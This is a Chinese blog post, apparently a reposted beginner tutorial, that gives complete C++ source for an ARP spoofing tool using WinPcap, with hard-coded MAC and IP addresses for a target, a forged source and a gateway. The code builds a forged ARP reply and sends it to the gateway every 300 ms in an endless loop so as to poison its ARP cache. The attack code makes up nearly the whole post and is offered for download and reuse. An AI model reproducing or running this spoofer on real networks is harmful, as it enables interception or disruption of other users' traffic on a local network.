【WinPcap】——ARP欺骗

来源:互联网 发布:同花顺 api 编程接口 编辑:程序博客网 时间:2024/04/29 11:53

利用WinPcap的简单ARP欺骗

基础知识

关于WinPcap在vc的环境搭建

关于ARP等结构


下图是从TCP/IP详解中摘录的图片:


这就是一个完整的ARP帧,外加18Bytes的填充区域就可以发送作为简单的ARP请求或ARP应答了。

源代码

点我下载源码和程序

先不多说,上一下结合了WinPcap开发手册的简单ARP欺骗实现源代码吧。

#include <iostream>#include <pcap.h>using namespace std;#defineETH_TYPE0x0806#defineARP_HARD_TYPE0x0001#defineARP_PROTO0X0800#defineARP_OP_RQT0x0001#defineARP_OP_RLY0x0002#defineARP_HRD_LEN0x06#defineARP_PROTO_LEN0x04/*这了需要内存对齐 *否则编译器会自己选择“最优” *的方式……然而这不是我们希望的结构 */#pragma pack(push,1)struct ethdr{//以太网头部u_chareth_tha[6];//目的MAC地址u_chareth_sha[6];//源MAC地址u_shorteth_op;//帧类型(ARP为0x0806)};struct arp_frame{struct ethdreth_hdr;u_shortarhp;//硬件类型u_shortprop;//协议类型u_charhlen;//硬件地址长度u_charprolen;//协议长度u_shortarop;//操作码(1:请求,2:应答)u_charsha[6];//源MAC地址u_charspa[4];//源IP地址u_chartha[6];//目的MAC地址u_chartpa[4];//目的IP地址u_charpadding[18];//填充字节};#pragma pack(pop)void createARP();struct arp_frameARP_attacker;int main(){pcap_if_t*alldevs;pcap_if_t*p;pcap_t*ahandler;char errBuf[PCAP_BUF_SIZE];//找到所有适配器if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&alldevs,errBuf) == -1){cout << "找不到设备." << endl;exit(1);}//打印所有适配器名字和描述for (p = alldevs; p; p = p->next)cout << "\t名字:" << p->name<< endl << "描述:" << p->description << endl;cout << "选择网卡来发送ARP请求" << endl;int num = 0;cin >> num;int i = 0;//遍历得到用来发送数据包的适配器for (p = alldevs;i < num-1; ++i, p = p->next){if (p == NULL){cout << "没有这样的设备存在!" << endl;pcap_freealldevs(alldevs);exit(1);}}//打开目标适配器if ((ahandler = pcap_open(p->name,65535,PCAP_OPENFLAG_PROMISCUOUS,1000,NULL,errBuf)) == NULL){cout << "打开设备失败." << endl;pcap_freealldevs(alldevs);exit(1);}//手工填写ARP数据帧createARP();cout << "正在发送请求...";while (true){//循环发送ARP欺骗应答,刷新对方ARP缓存,达到欺骗效果if (pcap_sendpacket(ahandler, (const u_char*)&ARP_attacker, 46) != 0){cout << "发送失败" << endl;break;}Sleep(300);}pcap_freealldevs(alldevs);return 0;}//5C-95-AE-85-76-30 目标MAC//6C-71-D9-17-D6-84源MAC//80:89:17:ea:8b:10网关void createARP(){ARP_attacker.eth_hdr.eth_tha[0] = 0x80;ARP_attacker.eth_hdr.eth_tha[1] = 0x89;ARP_attacker.eth_hdr.eth_tha[2] = 0x17;ARP_attacker.eth_hdr.eth_tha[3] = 0xea;ARP_attacker.eth_hdr.eth_tha[4] = 0x8b;ARP_attacker.eth_hdr.eth_tha[5] = 0x10;//填写虚假的MACARP_attacker.eth_hdr.eth_sha[0] = 0x6c;ARP_attacker.eth_hdr.eth_sha[1] = 0x71;ARP_attacker.eth_hdr.eth_sha[2] = 0xd9;ARP_attacker.eth_hdr.eth_sha[3] = 0x17;ARP_attacker.eth_hdr.eth_sha[4] = 0xd6;ARP_attacker.eth_hdr.eth_sha[5] = 0x80;ARP_attacker.eth_hdr.eth_op = htons(ETH_TYPE);ARP_attacker.arhp = htons(ARP_HARD_TYPE);ARP_attacker.prop = htons(ARP_PROTO);ARP_attacker.hlen = ARP_HRD_LEN;ARP_attacker.prolen = ARP_PROTO_LEN;ARP_attacker.arop = htons(ARP_OP_RLY);//填写虚假MACARP_attacker.sha[0] = 0x6c;ARP_attacker.sha[1] = 0x71;ARP_attacker.sha[2] = 0xd9;ARP_attacker.sha[3] = 0x17;ARP_attacker.sha[4] = 0xd6;ARP_attacker.sha[5] = 0x80;//填写你要覆盖的IPARP_attacker.spa[0] = 0xc0;ARP_attacker.spa[1] = 0xa8;ARP_attacker.spa[2] = 0x01;ARP_attacker.spa[3] = 0x67;ARP_attacker.tha[0] = 0x80;ARP_attacker.tha[1] = 0x89;ARP_attacker.tha[2] = 0x17;ARP_attacker.tha[3] = 0xea;ARP_attacker.tha[4] = 0x8b;ARP_attacker.tha[5] = 0x10;ARP_attacker.tpa[0] = 0xc0;ARP_attacker.tpa[1] = 0xa8;ARP_attacker.tpa[2] = 0x01;ARP_attacker.tpa[3] = 0x01;}

其实说明很多了,如果有什么不懂可以留言,互相交流一下。(前面打开设备之类的,WinPcap的开发者手册上都有实例)。



很喜欢编程,喜欢深入了解一切的实现,作为新人,希望前辈们多多指正,多多鼓励,谢谢。

0 0
原创粉丝点击